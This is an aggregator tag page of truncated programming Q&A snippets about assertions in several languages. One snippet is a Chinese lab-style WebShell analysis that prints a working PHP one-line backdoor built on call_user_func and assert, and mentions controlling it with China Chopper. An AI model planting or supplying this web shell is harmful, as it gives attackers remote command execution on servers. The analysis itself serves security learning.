assert | 易学教程

What does assert(0) mean?

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I had a question like this on one of my exams and I'm still not too sure how to answer it. I understand that assertions are ways to test your program, however I'm not too sure what assert(0) is checking. Is this a trick question? It will always fail, but I don't understand why. What is it checking? Any explanation would be great, thanks. It will always fail. That's pretty much it. It will fail always for the same reason that "assert(x == 5)" will succeed whenever x = 5. If you're asking for an application then you would put it in code blocks that really shouldn't happen. switch(suit) { case

WebShell代码分析溯源(六)

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WebShell代码分析溯源一、一句话变形马样本 <?php call_user_func('assert', $_REQUEST['assert']); ?> 二、代码分析 1、分析代码 call_user_func('assert', $_REQUEST['assert'])中assert是第一个被调用的函数，其余参数是回调函数的参数，这样就构成了assert($_REQUEST['assert'])一句话木马注: call_user_func函数，把第一个参数作为回调函数，其余参数是回调函数的参数，参考: https://www.php.net/manual/zh/function.call-user-func.php 三、漏洞环境搭建 1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第5题))，地址: https://www.mozhe.cn/bug/detail/RDBTOWFKOTJIODJRWlRwUjdOdlcrUT09bW96aGUmozhe 2、代码环境，下载代码　　 3、分析(上面已经分析过了) 4、使用菜刀连接　　 5、执行一些命令　　　　来源： https://www.cnblogs.com/yuzly/p/11751593.html

Test::Unit Rails - How to assert one number is greater than another one?

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I am writing my first unit tests with Test::Unit and I have reached a point where I need to compare two numbers. Much to my surprise, I have discovered that none of the following were available: assert_greater_than assert_lesser_than assert_greater_or_equal_than assert_lesser_or_equal_than Is this normal? How should I do it then? Thanks Rather than provide a bunch of different assertions as you suggest, Test::Unit provides the method assert_operator , used like this: assert_operator x, :>, y assert_operator x, :>=, y etc. How about this simple thing, assert x>y Here are some functions you can

Making Python's `assert` throw an exception that I choose

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问题 Can I make assert throw an exception that I choose instead of AssertionError ? UPDATE: I'll explain my motivation: Up to now, I've had assertion-style tests that raised my own exceptions; For example, when you created a Node object with certain arguments, it would check if the arguments were good for creating a node, and if not it would raise NodeError . But I know that Python has a -o mode in which asserts are skipped, which I would like to have available because it would make my program

What is the meaning of an assumption in scala compared to an assertion?

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问题 Scala seems to define 3 kinds of assertions: assert , require and assume . As far as I can understand, the difference (compared to a generic assertion) of require is that it is specifically meant for checking inputs (arguments, incoming messages etc). And what's the meaning of assume then? 回答1: If you look at the code in Predef.scala you'll see that all three do very similar job: def assert(assertion: Boolean) { if (!assertion) throw new java.lang.AssertionError("assertion failed") } def

NSAssert vs. assert: Which do you use, and when?

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问题 I've read two really interesting pieces of advice, recently: In the comments to this StackOverflow answer, @Mike Weller says to leave your asserts on in production code... what's the performance hit, really? Is there any reason NOT to leave them in? In Vincent Gable's blog, he states that you should prefer assert over NSAssert ... is there any reason NOT to use assert ? (it's less letters :)) 回答1: To answer your two questions: There should be very little performance hit for leaving in an

Check if one set of types is a subset of the other

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可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效，请关闭广告屏蔽插件后再试): 问题: How can one check if one parameter pack (interpreted as a set) is a subset of another one? So far I only have the frame (using std::tuple), but no functionality. #include <tuple> #include <type_traits> template <typename, typename> struct is_subset_of : std::false_type { }; template <typename ... Types1, typename ... Types2> struct is_subset_of<std::tuple<Types1...>, std::tuple<Types2...>> : std::true_type { // Should only be true_type if Types1 is a subset of Types2 }; int main() { using t1 = std::tuple<int, double>; using t2 = std::tuple

Debug.Assert vs Code Contract usage

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问题 When should I debug.assert over code contracts or vice versa? I want to check precondition for a method and I am confused to choose one over the other. I have unit tests where I want to test failure scenarios and expect exceptions. Is it a good practice to use Debug.Assert and Code contract on the same method. If so what would be the order in which the code should be written? Debug.Assert(parameter!= null); Contract.Requires<ArgumentNullException>(parameter != null, "parameter"); or Contract

ReferenceError: describe is not defined NodeJs

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可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效，请关闭广告屏蔽插件后再试): 问题: I am trying to define some endpoints and do a test using nodejs . In server.js I have: var express = require('express'); var func1 = require('./func1.js'); var port = 8080; var server = express(); server.configure(function(){ server.use(express.bodyParser()); }); server.post('/testend/', func1.testend); and in func1.js : var testend = function(req, res) { serialPort.write("1", function(err, results) { serialPort.write("2" + "\n", function(err, results) { }); }); }); exports.testend = testend; Now in test.js I am trying to use this endpoint:

Does GCC have a built-in compile time assert?

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可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效，请关闭广告屏蔽插件后再试): 问题: Our existing compile-time assert implementation is based on negative array index, and it provides poor diagnostic output on GCC. C++0x's static_assert is a very nice feature, and the diagnostic output it provides is much better. I know GCC has already implemented some C++0x features. Does anyone know if static_assert is among them and if it is then since what GCC version? 回答1: According to this page , gcc has had static_assert since 4.3. 回答2: If you need to use a gcc version which does not support it you can use #include <boost/static_assert